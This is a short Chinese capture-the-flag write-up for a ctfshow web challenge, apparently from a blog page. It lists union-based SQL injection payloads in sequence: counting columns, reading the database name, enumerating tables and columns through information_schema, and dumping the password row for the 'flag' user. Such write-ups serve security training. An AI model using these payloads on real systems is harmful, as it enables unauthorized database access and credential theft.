该文演示了SQL查询技术，用于检查数据库结构和获取特定数据。首先，它查询列的数量，然后确定数据库名。接着，列举了ctfshow_web库中的表和ctfshow_user表的列。最后，通过SQL联合查询找到了用户名为flag的相关信息，揭示了可能的数据泄露过程。
首先查询有多少列，1' order by 3--+
然后查询库名 1' union select 1,2,database() --+
查看ctfshow_web库的表
1' union select 1,2, table_name from information_schema.tables where table_schema ='ctfshow_web' --+
获取表名
1' union select 1,2, table_name from information_schema.tables where table_schema =database() --+
获取列名
1' union select 1,2, column_name from information_schema.columns where table_schema =database() and table_name='ctfshow_user' --+
查询用户名为flag的信息 1' union select id,username,password from ctfshow_user where username='flag' --+
获得flag
扫一扫
2737
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
